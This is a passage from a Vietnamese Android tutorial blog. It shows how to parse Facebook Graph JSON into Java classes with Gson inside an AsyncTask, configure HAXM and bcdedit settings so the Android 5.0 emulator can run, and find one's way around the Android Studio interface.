* hàm khởi tạo cho các Control
*/
public void addControls()
{
txtLinkFacebook= (EditText) findViewById(R.id.txtLinkFacebook);
btnDownloadInfor= (Button) findViewById(R.id.btnDownload);
txtId= (EditText) findViewById(R.id.txtId);
txtUserName= (EditText) findViewById(R.id.txtUserName);
txtName= (EditText) findViewById(R.id.txtName);
radMale= (RadioButton) findViewById(R.id.radMale);
radFemale= (RadioButton) findViewById(R.id.radFemale);
btnShowImage= (Button) findViewById(R.id.btnShowImage);
txtLinkFacebook.setText(&quot;http://graph.facebook.com/taylorswift&quot;);
txtLike= (EditText) findViewById(R.id.txtLike);
}

/**
* hàm gán sự kiện cho các control
*/
public void addEvents()
{
btnDownloadInfor.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
processDownload();
}
});
btnShowImage.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
Intent in=new Intent
(MainActivity.this, XemHinhActivity.class);
in.putExtra(&quot;URL_IMG&quot;, source);
startActivity(in);
}
});
}

/**
* hàm gọi đa tiến trình để tải dữ liệu từ internet
*/
private void processDownload() {
DownloadTask task=new DownloadTask();
task.execute(txtLinkFacebook.getText()+&quot;&quot;);
}
private  class DownloadTask extends AsyncTask&lt;String,FaceBook,Void&gt;
{
@Override
protected void onPreExecute() {
super.onPreExecute();
Toast.makeText(MainActivity.this,&quot;Chuẩn bị tải Facebook&quot;,Toast.LENGTH_LONG).show();
}

@Override
protected Void doInBackground(String... params) {
//Lấy link facebook từ hàm processDownload truyền vào
String link=params[0];
try {
URL url=new URL(link);
//              //đọc stream Json từ internet có đọc UTF8
InputStreamReader reader=new InputStreamReader(url.openStream(),&quot;UTF-8&quot;);
//chuyển định dạng JSon về java class
FaceBook fb=new Gson().fromJson(reader,FaceBook.class);
//gửi qua onProgressUpdate để cập nhật giao diện
publishProgress(fb);
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

@Override
protected void onProgressUpdate(FaceBook... values) {
super.onProgressUpdate(values);
//lấy FaceBook được truyền từ doInBackground
FaceBook fb=values[0];
//tiến hành đưa thông tin lên giao diện:
txtId.setText(fb.getId());
txtUserName.setText(fb.getUsername());
txtName.setText(fb.getName());
radFemale.setChecked(true);
txtLike.setText(fb.getLikes()+&quot;&quot;);
if(fb.getCover()!=null)
source=fb.getCover().getSource();

if(fb.getGender()!=null&amp;&amp; fb.getGender().equalsIgnoreCase(&quot;male&quot;))
{
radMale.setChecked(true);
}
}

@Override
protected void onPostExecute(Void aVoid) {
super.onPostExecute(aVoid);
Toast.makeText(MainActivity.this, &quot;Tải Facebook thành công&quot;, Toast.LENGTH_LONG).show();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

– Bây giờ tiến hành thực thi ứng dụng ta được kết quả như sau: android_62_12-Ở hình trên ta thấy khi bấm vào nút Xem Hình ta sẽ có kết quả là hình Taylor Swift được hiển thị lên ở màn hình mới.

– Nếu bạn muốn hình ảnh nằm trên màn hình Nằm ngang:

android_62_13Thì tiến hành hiệu chỉnh trong AndroidManifest:


<activity
android:name=".XemHinhActivity"
android:label="@string/title_activity_xem_hinh"
android:screenOrientation="landscape"
>
</activity>

-Chú ý là trong Android Studio nếu bạn lỡ tay đặt sai tên Class mà bạn muốn đặt lại thì chọn File đó rồi nhấn Shift+F6 để hiệu chỉnh nhé(trong eclipse cũ là F2).

– Như vậy bạn đã biết cách chuyển định dạng JSon phức tạp (đối tượng chứa đối tượng) thành Java class, đồng thời ôn lại được đa tiến trình cũng như Intent.

-Chú ý là phải tham chiếu tới thư viện gson-2.2.4.jar nhé.

– Bài kế tiếp Tui sẽ hướng dẫn các bạn cách chuyển JSon phức tạp hơn qua Java class (Đối tượng chứa đối tượng và danh sách đối tượng khác- mảng)

-Bạn có thể tải coding đầy đủ của bài này ở đây: http://www.mediafire.com/download/sijdct656vavk8u/FaceBookTool_version2.rar

– Chúc các bạn thành công!

Bài 61: Cách đưa định dạng JSon về Java class bằng GSon


bài 51 Tui đã trình bày cách xử lý JSon trong Android, nhưng nó là cách tiếp cận cũ và cũng được viết bằng Eclipse cũ. Trong bài này Tui muốn trình bày cho các bạn một cách tiếp cận mới đó là đưa định dạng JSon về Java class để dễ xử lý cũng như tăng tốc quá trình truy suất và sửa lỗi. Các bài mới Tui sẽ lồng ghép từng bước cách xử dụng luôn công cụ Android Studio để các bạn tiện thể sử dụng (nói theo ngôn ngữ của bác Hoàng Phi Hồng là Nhất tiễn hạ song điêu).

Tui sẽ dùng Facebook Graph của anh Nguyễn Hoàng Phong (http://graph.facebook.com/nguyen.hoangphong.50) để phân tích cấu trúc của JSon, sau đó ta sẽ viết class để chuyển đổi.

Bài này Tui sẽ đưa ra một vài ví dụ từ dễ lên khó đủ để bao quát hết cách xử lý các trường hợp trong định dạng JSon qua Java class. Trước tiên ta phân tích http://graph.facebook.com/nguyen.hoangphong.50 xem bên trong nó có cái gì?

android_61_0Ở trên ta thấy dữ liệu được để trong cặp ngoặc nhọn {}, Bên trong nó có 8 dòng ngăn cách bởi dấu phẩy, và mỗi dòng lại được ngăn cách bởi dấu hai chấm :

Đó chính là định dạng JSon được đề cập trong bài 51 (Nhớ đọc lại lý thuyết về JSon trong bài 51 này).

Ta để ý rằng tại mỗi dòng thì vế trái của dấu 2 chấm chính là thuộc tính của đối tượng, vế phải chính là giá trị của thuộc tính, giá trị vế phải nó quyết định tới kiểu dữ liệu của thuộc tính. Ví dụ:

id“:”100003307875109” thì:

id là thuộc tính và 100003307875109 là giá trị có kiểu chuỗi của thuộc tính id vì 100003307875109 nằm trong nháy đôi–> suy ra thuộc tính id sẽ khai báo kiểu String. Tương tự cho các thuộc tính khác, giờ Tui sẽ làm ví dụ để biến định dạng JSon này thành Java class để dễ tương tác, sau đó sẽ có những bài phức tạp hơn có sự lồng ghép lung tung trong JSon gốc (Ta sẽ đi từ từ, không cần nóng vội).

– Tạo một Project tên là FaceBookTool (các bước tạo project đã được trình bày ở bài trước, nếu bạn nào chưa biết thì xem lại bài 59). Chú ý là package trong ví dụ này bạn đặt tùy ý nhé, đặt sao mang tính gợi nhớ và có ý nghĩa. Bạn sử dụng package nào thì các hướng dẫn ở dưới bạn sẽ theo package bạn đã đặt tên chứ không phải giống như Tui đặt bên dưới nhé.

android_61_1Tiếp theo ta tạo một package tên là “com.tranduythanh.model” để lưu trữ class Java dành cho JSon.

Để cho lẹ thì ta bấm chuột phải vào java/chọn new/chọn Package như hình dưới đây:

android_61_2Màn hình yêu cầu chọn nơi lưu trữ hiện thị xuất hiện, ta nhấn nút OK:

android_61_3Sau khi bấm OK, màn hình yêu cầu nhập tên Package xuất hiện, ta nhập tên package rồi nhấn nút OK:

android_61_4Ở trên Tui đặt com.tranduythanh.model với mục đích tạo ra sub model để lưu trữ Class dành cho định dạng JSon.

Sau khi bấm OK, ta quan sát cấu trúc hiển thị package bị thay đổi như sau:

android_61_5– Bây giờ ta tiến hành tạo 1 class tên là FaceBook nằm bên trong model(bạn đặt tên gì cũng được, miễn sao nó đại diện đủ ý nghĩa cho cấu trúc JSon, trong trường hợp này là http://graph.facebook.com/nguyen.hoangphong.50).

Tất cả dữ liệu trong định dạng JSon mà nằm trong cặp ngoặc nhọn thì đó chính là 1 Đối tượng (Object)–> cần có 1 class cho nó, các thuộc tính bên trong JSon–> thuộc tính trong class Java:

android_61_6– Bây giờ ta bấm chuột phải vào model/ chọn New / Java Class:

android_61_7Màn hình new class hiển thị ra:

android_61_8Trong mục Name, Ta đặt tên class là FaceBook rồi nhấn nút OK.

Mặc định ta có kết quả như sau:

android_61_9Bây giờ ta tiến hành khai báo các thuộc tính trong định dạng JSon cho Java class này, có 2 chú ý bạn cần rõ là:

-Bạn chú ý là không nhất thiết phải lấy hết các thuộc tính trong JSon để khai báo trong này mà những thuộc tính nào bạn cần truy suất thì mới khai báo mà thôi.

-Trong JSon thuộc tính tên nó như thế nào thì bạn phải copy paste y xì như vậy vào Java class.

Tức là ta có như sau:


package com.tranduythanh.model;

/**
 * Created by drthanh on 02/04/2015.
 */
public class FaceBook {
    private String id;
    private String name;
    private String gender;
    private String username;
}

Bạn thấy đấy ở trên Tui chỉ muốn truy suất id, name, genderusername. Còn các thuộc tính first_name, last_name, link, locale Tui không muốn truy suất thì Tui không phải báo ở đây.

Tiếp theo ta tạo các phương thức get,set cho class Facebook. Dùng tool mà Android Studio hỗ trợ cho lẹ.

Trong class FaceBook, ta nhấn tổ hợp phím Alt + Insert hoặc vào menu code/ chọn Generate…:

android_61_10Ở trên Tui tạo Getter và Setter nên Tui chọn Getter and Setter, nếu muốn chọn constructor thì bạn chọn Constructor… Khi bạn click chuột hoặc enter vào chức năng nào thì nó tạo cho bạn. Ví dụ Tui chọn Getter and Setter thì màn hình chọn thuộc tính để tạo Getter và Setter như sau:

android_61_11Ở màn hình trên nếu bạn muốn tạo đồng loạt cho tất cả thuộc tính thì nhấn tổ hợp phím Ctrl +A cho lẹ, còn muốn chọn rời rạc thì đề Ctrl rồi nhấn chuột từng thuộc tính —> sau đó nhấn OK để tạo, bạn sẽ thấy kết quả:


package com.tranduythanh.model;

/**
* Created by drthanh on 02/04/2015.
*/
public class FaceBook {
private String id;
private String name;
private String gender;
private String username;

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getGender() {
return gender;
}

public void setGender(String gender) {
this.gender = gender;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}
}

– Như vậy ta đã tạo xong Java class để lưu trữ thông tin chuyển đổi từ định dạng JSon của Facebook.

– Tiếp theo bạn tải thư viện Gson ở đây : https://google-gson.googlecode.com/files/google-gson-2.2.4-release.zip

Giải nén ra trong đó có 3 tập tin thì bạn chọn 1 tập tin là gson-2.2.4.jar.

android_61_12Project Android Studio của mình sẽ tham chiếu tới thư viện này. Cách tham chiếu như sau:

– Trước tiên chuyển qua chế độ xem Project:

android_61_13– Bạn tìm tới thư mục libs rồi copy thư viện đó vào đây như sau:

android_61_14– Sau khi copy xong ta phải tham chiếu tới nó mới được, tham chiếu bằng mở màn hình Project Structer lên (có nhiều cách mở và đặc biệt là mở ở chế độ view nào cũng được: Android, Project.. đều được):

+ Cách 1: Nếu đang chọn tên Project thì nhấn phím F4 ngay và luôn

+ Cách 2: Bấm chuột phải vào vị trí bất kỳ trong Project/ chọn Open Module Settings

android_61_15

+Cách 3: Vào Menu File/ chọn Project Structer…

android_61_16==> Cả 3 cách trên ta đều có Màn hình Cấu hình Project như sau:

android_61_17– Bạn bấm vào mục số 1 trước

– Sau đó ở mục số 2 chọn Dependencies

– Tiếp theo nhấn vào hình dấu + ở mục số 3:

android_61_18Ta sẽ chọn File dependency (nó bắt di chuyển phím mũi tên lên xuống để chọn, muốn xác nhận thì phải nhấn phím Enter không dùng chuột):

android_61_19Ta tìm tới đúng nơi lưu trữ thư viện rồi bấm ok. ta được kết quả như sau:

android_61_20Tiếp tục bấm OK 1 lần nữa nha, nếu bấm cancel thì làm lại từ đầu.

Sau đó nếu như Android studio chưa phải ở chế độ Android thì nhớ chuyển về Android để lập trình cho dễ (vì bước mở Cấu trình Project ở trên có thể mở ở bất kỳ chế độ xem nào nên khi lập trình phải chuyển qua Android).

Ta có thể xem nơi khai báo lưu trữ để biên dịch thư viện trên nằm ở đâu:

android_61_21– Bây giờ các bạn tiến hành thiết kế giao diện để lấy thông tin từ 1 facebook bất kỳ về android client như sau: android_61_22-Tui chụp cấu trúc layout của giao diện trên như sau:

android_61_23Bạn có thể nhìn vào nhóm Component Tree để kéo thả các control cho phù hợp. Cách thiết kế cũng tương tự như trong Eclipse cũ nên Tui không giải thích kỹ chỗ này. Tuy nhiên lần đầu tạo layout thì nó mặc định là ReletavieLayout, bạn nhớ vào tab Text trong mục Control (palette) để tự sửa lại thành LinearLayout vertical để kéo thả các control tiếp theo được dễ dàng hơn.

Nhớ đặt tên id cho các control như trong mục Component Tree.

Bạn có thể sao chép XML cho layout trên ở đây:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"
android:orientation="vertical">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Link Facebook:"
android:id="@+id/textView"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLinkFacebook" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Tải về"
android:id="@+id/btnDownload"
android:layout_gravity="center_horizontal" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Id:"
android:id="@+id/textView2" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtId" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Username:"
android:id="@+id/textView3" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtUserName" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Name:"
android:id="@+id/textView4" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtName" />

<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_gravity="center_horizontal">

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nam"
android:id="@+id/radMale" />

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nữ"
android:id="@+id/radFemale"
android:checked="true" />
</RadioGroup>

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Xem hình"
android:id="@+id/btnShowImage"
android:layout_gravity="center_horizontal" />
</LinearLayout>

– Sau đó ta vào MainActivity để tiến hành coding. Chú ý là khi có tương tác Internet thì bắt buộc ta phải dùng kỹ thuật Đa Tiến trình để viết và phải cấp quyền sử dụng internet trong Manifest, Nếu bạn nào chưa am hiểu kỹ thuật đa tiến trình trong Android thì học tại đây:

https://duythanhcse.wordpress.com/2013/06/14/bai-tap-34-da-tien-trinh-trong-android-multi-threading/

https://duythanhcse.wordpress.com/2013/10/25/bai-35-ve-button-luc-runtime-dung-using-message-cua-handler-class/

https://duythanhcse.wordpress.com/2013/10/25/bai-36-update-listview-at-runtime-by-handler-class-using-post/

https://duythanhcse.wordpress.com/2013/10/25/bai-37-xu-ly-da-tien-trinh-bang-asynctask/

Quay lại coding trong MainActivity của ứng dụng:

 


package com.tranduythanh.facebooktool;

import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.FaceBook;

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;

public class MainActivity extends ActionBarActivity {

    EditText txtLinkFacebook,txtId,txtUserName,txtName;
    RadioButton radMale,radFemale;
    Button btnDownloadInfor,btnShowImage;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //gọi addControl trước
        addControls();
        //gọi addevent sau
        addEvents();
    }

    /**
     * hàm khởi tạo cho các Control
     */
    public void addControls()
    {
        txtLinkFacebook= (EditText) findViewById(R.id.txtLinkFacebook);
        btnDownloadInfor= (Button) findViewById(R.id.btnDownload);
        txtId= (EditText) findViewById(R.id.txtId);
        txtUserName= (EditText) findViewById(R.id.txtUserName);
        txtName= (EditText) findViewById(R.id.txtName);
        radMale= (RadioButton) findViewById(R.id.radMale);
        radFemale= (RadioButton) findViewById(R.id.radFemale);
        btnShowImage= (Button) findViewById(R.id.btnShowImage);
        txtLinkFacebook.setText("http://graph.facebook.com/nguyen.hoangphong.50");
    }

    /**
     * hàm gán sự kiện cho các control
     */
    public void addEvents()
    {
        btnDownloadInfor.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                processDownload();
            }
        });
    }

    /**
     * hàm gọi đa tiến trình để tải dữ liệu từ internet
     */
    private void processDownload() {
        DownloadTask task=new DownloadTask();
        task.execute(txtLinkFacebook.getText()+"");
    }
    private  class DownloadTask extends AsyncTask<String,FaceBook,Void>
    {
        @Override
        protected void onPreExecute() {
            super.onPreExecute();
            Toast.makeText(MainActivity.this,"Chuẩn bị tải Facebook",Toast.LENGTH_LONG).show();
        }

        @Override
        protected Void doInBackground(String... params) {
            //Lấy link facebook từ hàm processDownload truyền vào
            String link=params[0];
            try {
                URL url=new URL(link);
//              //đọc stream Json từ internet có đọc UTF8
                InputStreamReader reader=new InputStreamReader(url.openStream(),"UTF-8");
                //chuyển định dạng JSon về java class
                FaceBook fb=new Gson().fromJson(reader,FaceBook.class);
                //gửi qua onProgressUpdate để cập nhật giao diện
                publishProgress(fb);
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return null;
        }

        @Override
        protected void onProgressUpdate(FaceBook... values) {
            super.onProgressUpdate(values);
            //lấy FaceBook được truyền từ doInBackground
            FaceBook fb=values[0];
            //tiến hành đưa thông tin lên giao diện:
            txtId.setText(fb.getId());
            txtUserName.setText(fb.getUsername());
            txtName.setText(fb.getName());
            radFemale.setChecked(true);

            if(fb.getGender()!=null&& fb.getGender().equalsIgnoreCase("male"))
            {
                radMale.setChecked(true);
            }
        }

        @Override
        protected void onPostExecute(Void aVoid) {
            super.onPostExecute(aVoid);
            Toast.makeText(MainActivity.this, "Tải Facebook thành công", Toast.LENGTH_LONG).show();
        }
    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }
}

 

– Sau cùng ta cấp quyền sử dụng Internet:

android_61_24Bạn chú ý là version Android Studio hiện tại chưa cung cấp giao diện để cấp quyền, mà bạn phải gõ bằng lệnh trong AndroidManifest, tuy nhiên android Studio hỗ trợ chức năng gợi nhớ giúp ta dễ dàng chọn lựa:

android_61_25– Cũng tương tự như việc gợi ý sửa lỗi trong Android Studio chính là gõ tổ hợp phím Alt+Enter (bên Eclipse cũ là Ctrl+1). Vậy bạn chú ý là muốn xem gợi ý sửa lỗi nhanh thì nên gõ Alt+Enter (ta thường dùng nhiều nhất trong trường hợp Tự động Ép Kiểu , Tự động Import thư viện và tự động implement các Abstract method).

– Tới đây  là bạn đã thực hiện được việc đọc JSon từ internet và đưa nó về Java class phục vụ cho các mục đích khác.

– Bài tiếp theo Tui sẽ hướng dẫn các bạn cách chuyển JSon có định dạng phức tạp (đối tượng chứa đối tượng, đối tượng chứa danh sách đối tượng…) về Java class

– Các bạn có thể tải source code mẫu của bài này ở đây: http://www.mediafire.com/download/t4kp87nh57y8nnx/FaceBookTool.rar

– Chúc các bạn thành công!

Bài 60: Cấu hình Hardware Accelerated Execution để chạy máy ảo Android 5.0


bài tập 59 các bạn đã biết cách tạo cũng như sử dụng được Android Studio Project và cách tạo Android Virtual Device, tuy nhiên chạy với API<21. Đối với Android 5.0 sử dụng API 21 trở lên nó yêu cầu PC phải hỗ trợ ảo hóa và có cài đặt Hardware Accelerated.

– Nếu như Mainboard PC của bạn không hỗ trợ Ảo Hóa hoặc nếu có hỗ trợ mà chưa có Hardware Accelerated thì khi chạy Máy Ảo Android với bản API 21 trở lên bạn sẽ gặp lỗi sau:

android_60_0Từ màn hình Android Virtual Device Manager, chọn Máy Ảo API 21 như hình trên, bấm nút Start, bạn sẽ gặp lỗi như hình dưới đây:

android_60_1– Để sửa được lỗi trên ta làm theo các bước sau:

Bước 1) Kiểm tra xem Main Board của bạn có hỗ trợ Công Nghệ Ảo Hóa hay không?

– Tùy thuộc vào từng dòng máy tính của bạn mà cách kiểm tra trong Bios có Công Nghệ Ảo Hóa hay không, nếu có hỗ trợ bạn cần enable nó lên. Tui đưa một số hình ảnh dưới đây, tùy vào máy tính của bạn mà màn hình Main Board sẽ khác nhau, bạn tự mò tới Ảo Hóa và bận lên:

android_60_17

android_60_18

android_60_19

Hoặc bạn dùng công cụ có giao diện của Intel để xác định nó đã được enable hay chưa:

– Bạn vào link sau: http://www.intel.com/p/en_US/support/highlights/processors/toolspiu

android_60_13Bạn tải nó về và chạy lên:

android_60_20Bước 2) Cài đặt Hardware Accelerated Execution

android_60_2Bạn mở Android SDK Manager lên/ tìm tới Extras ở dưới cùng, tiến hành tải”Intel x86 Emulator Accelerator (HAXM installer)“.

Sau khi tải xong bạn vào thư mục SDK đã cài đặt Android Studio (do bạn cài đặt):

android_60_3Bạn tiến hành cài đặt intelhaxm-android.exe

android_60_3_1Sau khi cài đặt xong bạn vào Control panel để kiểm tra:

android_60_4Nếu có như trên là đã cài đặt thành công.

Bước 3) Sử dụng công cụ bcdedit để thiết lập thông số cho nxhypervisorlaunchtype

– Mở command line với chế độ Administrator:

android_60_5Màn hình commandline ở chế độ Administrator sẽ hiển thị ra như dưới đây:

android_60_6Tại dấu nhắc lệnh bạn gõ lệnh bcdedit

Ta được kết quả hiện thị ra như sau:

android_60_8Hoặc:

android_60_7Hoặc:

android_60_12Trong 3 kết quả của bcdedit liệt kê thì chỉ có trường hợp cuối cùng là có thể chạy được Android Emulator 5.0

———————————————–

Tức là chế độ:

nx       AlwaysOn

hypervisorlaunchtype   Off

———————————————–

Nếu bạn không nhận được kết quả như trường hợp cuối cùng thì không thể chạy được, vậy làm sao để thiết lập?

Và bạn chú ý rằng nếu bạn muốn lập trình đồng thời Android 5.0 với Windows Phone hay cài đặt VMWare lại không được, nó không cho sống chung, lý do là mỗi một nền tảng chạy lên nó sẽ chiếm hết tài nguyên không cho nền tảng khác chạy.

Do đó nếu như bạn đã chuyên qua:

nx       AlwaysOn

hypervisorlaunchtype   Off

Thì chỉ có thể lập trình Android chứ không lập trình Windows Phone được.

Do đó muốn lập trình Windows Phone bạn phải thiết lập lại thông số:

———————————————–

nx       AlwaysOn

hypervisorlaunchtype   Auto

———————————————–

Mỗi lần chuyển giá trị đều phải khởi động lại máy nhé.

Ví dụ Ta muốn cấu hình cho phép lập trình Windows Phone thì dùng lệnh sau:

android_60_9————————————————————————-

ở trên Tui bật nx lên alwayson.

bcdedit   /set   nx   alwayson

và bật hypervisorlaunchtype   auto

bcdedit    /set   hypervisorlaunchtype    auto

————————————————————————-

-Ví dụ Ta muốn cấu hình cho phép lập trình Android thì dùng lệnh sau:

android_60_16Vậy chú ý nếu muốn lập trình Android phải theo lệnh sau:

————————————————————————-

ở trên Tui bật nx lên alwayson.

bcdedit   /set   nx   alwayson

và bật hypervisorlaunchtype   off

bcdedit    /set   hypervisorlaunchtype    Off

————————————————————————-

Nhắc lại là mỗi lần thay đổi giá trị trong bcdedit đều phải khởi động lại máy.

Vậy tới đây là bạn có thể lập trình được với Android 5.0 (API 21 trở lên) rồi nhé.

Ta thử lại bước chạy Máy ảo sẽ có kết quả như sau:

android_60_15RAM của bạn cần phải lớn, thường 8GB trở lên mới có thể tải nổi. Còn yếu thì nên sử dụng API 19 và độ phân giải thấp là được rồi, vì hiện nay chưa quá 1% thiết bị sử dụng API 21, mà có tới hơn 90% thiết bị sử dụng API 19.

Vậy là các bạn đã biết cấu hình để chạy Android Emulator 5.0 (API 21)

Chúc các bạn thành công!

Bài 59: Làm quen với môi trường lập trình Android Studio – Phần 2


Trong bài 58 Tui đã hướng dẫn các bạn cách cài đặt Android Studio chính thống giáo của hãng Google, trong bài này Tui sẽ trình bày các nội dung sau:

—————————————————————————-

1) Cách tạo một Project trong Android Studio.

2) Cấu trúc một Project trong Android Studio

3) Các chức năng quan trọng thường dùng trong Android Studio

4) Cách tạo và sử dụng Android Emulator trong Android Studio

5) Quy trình thực thi một phần mềm lên thiết bị (thật, emulator) trong Android Studio.

—————————————————————————-

1) Cách tạo một Project trong Android Studio.

– Khởi động Android Studio/ chọn Start a new Android Studio project như hình dưới đây:

android_59_1– Màn hình Create New Project sẽ hiển thị ra, nhập đúng thông tin rồi bấm Next:

android_59_2

-Application Name: Tên Ứng dụng muốn đặt

-Company Domain: Tên domain công ty, thường được dùng để kết hợp với tên Application để tạo thành Package (chú ý viết thường hết và có ít nhất 1 dấu chấm).

-Package name: Nó sẽ tự động nối ngược Company Domain với Application name.

-Project location: Là nơi lưu trữ ứng dụng.

Sau khi nhập thông tin chính xác, ta nhấn nút Next thì xuất hiện màn hình cấu hình Target Android Devices như dưới đây (Bạn hiểu nôm na là cấu hình thiết bị mục tiêu mà ứng dụng Support tốt nhất):

android_59_3Hiện nay bản API14 Android 4.0 (IceCreamSandwich) vẫn đứng đầu về số lượng thiết bị sử dụng chiếm tới hơn 90%) nên ta thường hỗ trợ tối đa (để bán được nhiều sản phẩm).

Ta có thể xổ danh sách ra để xem các API hỗ trợ (dĩ nhiên ta phải chọn API phù hợp nhất):

android_59_4– Sau khi bấm Next, màn hình tiếp theo hiển thị cho phép chọn loại Activity mặc định:

android_59_5Ta chon Blank Activity rồi bấm Next:

– Màn hình hiệu chỉnh Activity xuất hiện:

android_59_6Thường nếu bắt đầu new project, ta để mặc định không chỉnh sửa activity_main như trên rồi bấm finish.

Activity Name: Tên class Activity (java) để ta viết mã lệnh

Layout Name: Tên file XML làm giao diện cho Activity Name.

Title: Tiêu đề hiển thị khi kích hoạt Activity trên thiết bị.

Menu Resource Name: Tên file xml để tạo menu cho phần mềm.

Sau khi cấu hình xong, ta bấm Finish, Màn hình Build Gradle project hiển thị:

android_59_7– Khi build xong mặc định ta có màn hình dưới đây:

android_59_8Ở màn hình trên ta sẽ được Android Studio hướng dẫn:

– Tìm kiếm: Nhấn 2 lần phím Shift liên tục

– Để xem project: Nhấn tổ hợp phím tắt ALT+1

-Để mở 1 file : Nhấn tổ hợp phím tắt Ctrl+ shift+N

-Để mở các file trước đó: Nhấn tổ hợp phím Ctrl+E

2) Cấu trúc một Project trong Android Studio

–> Ta tiến hành mở Project mặc, định activity_main.xml sẽ được chọn ta có màn hình như sau:

android_59_9– Ở trên tạm thời Tui chia làm 6 vùng làm việc mà lập trình viên chúng ta thường tương tác. Tui sẽ giải thích kỹ từng vùng để các bạn nắm rõ.

Vùng 1:

Là nơi cấu trúc hệ thống thông tin của Ứng dụng, Ta có thể thay đổi cấu trúc hiển thị (thường để mặc định là Android)

android_59_26Ta quan sát khi chọn vào nhóm góc trái trên cùng của vùng số 1, có nhiều lựa chọn hiển thị, giả sử bây giờ Tui chuyển từ Android qua Packages:

android_59_27Giờ quay trở lại chế độ Android:

android_59_28Bạn có thể thấy AndroidManifest.xml nằm ở đây. File này vô cùng quan trọng trong việc cấu hình ứng dụng.

Các thư mục Resource (res): drawable, layout, menu… đã được giải thích kỹ và nó giống y xì bên Eclipse nên Tui không nói lại.

Vùng 2:

Là vùng khá quan trọng cho những bạn mới bắt đầu lập trình, nó là nơi hiển thị các Control mà Android hỗ trợ, cho phép bạn kéo thả trực tiếp vào vùng 3 (Giao Diện Thiết Bị) để thiết kế.

android_59_29Ở vùng số 2 này nó có 2 tab: Design Text ở góc trái dưới cùng.

Tab Design là tab mà bạn đang nhìn và thao tác với nó (cho phép thiết kế giao diện bằng cách kéo thả.

Tab Text là tab cho phép ta thiết kế giao diện bằng viết Tag XML:

android_59_30Vùng 3:

Là vùng giao diện thiết bị, cho phép các Control kéo thả vào đây và đồng thời cho chúng ta hiểu chính control.

android_59_31Vùng 3 ta có thể chọn cách hiển thị theo nằm ngang nằm đứng,  phóng to thu nhỏ, căn chỉ control, lựa chọn loại thiết bị hiển thị….

Vùng 4:

Khi màn hình của bạn có nhiều control thì vùng 4 này trở lên hữu ích, nó cho phép hiển thị giao diện theo dạng cấu trúc Cây, nên bạn dễ dàng quan sát và lựa chọn control khi chúng bị chồng lập trên giao diện (vùng 3).

android_59_32Vùng 5:

Vùng này rất quan trọng, đây là vùng cho phép thiết lập trạng thái hay thuộc tính cho các Control trên giao diện.

android_59_33Cách thiết lập các giá trị cho các thuộc tính đã được nói ở eclipse và cũng dễ sử dụng nên Tui không nói lại.

3) Các chức năng quan trọng thường dùng trong Android Studio

Vùng 6:

Là vùng rất tiện lợi giúp ta thao tác nhanh chóng:

– Chạy ứng dụng và Debug ứng dụng:

android_59_34– Quản lý máy ảo (AVD Manager)

android_59_37– Quản lý Android SDK Manager (thường dùng để cập nhật)

android_59_35– Quản lý Android Device Manager

android_59_36Cách sử dụng đã trình bày ở Eclipse và giống nhau, Tui không nói lại.

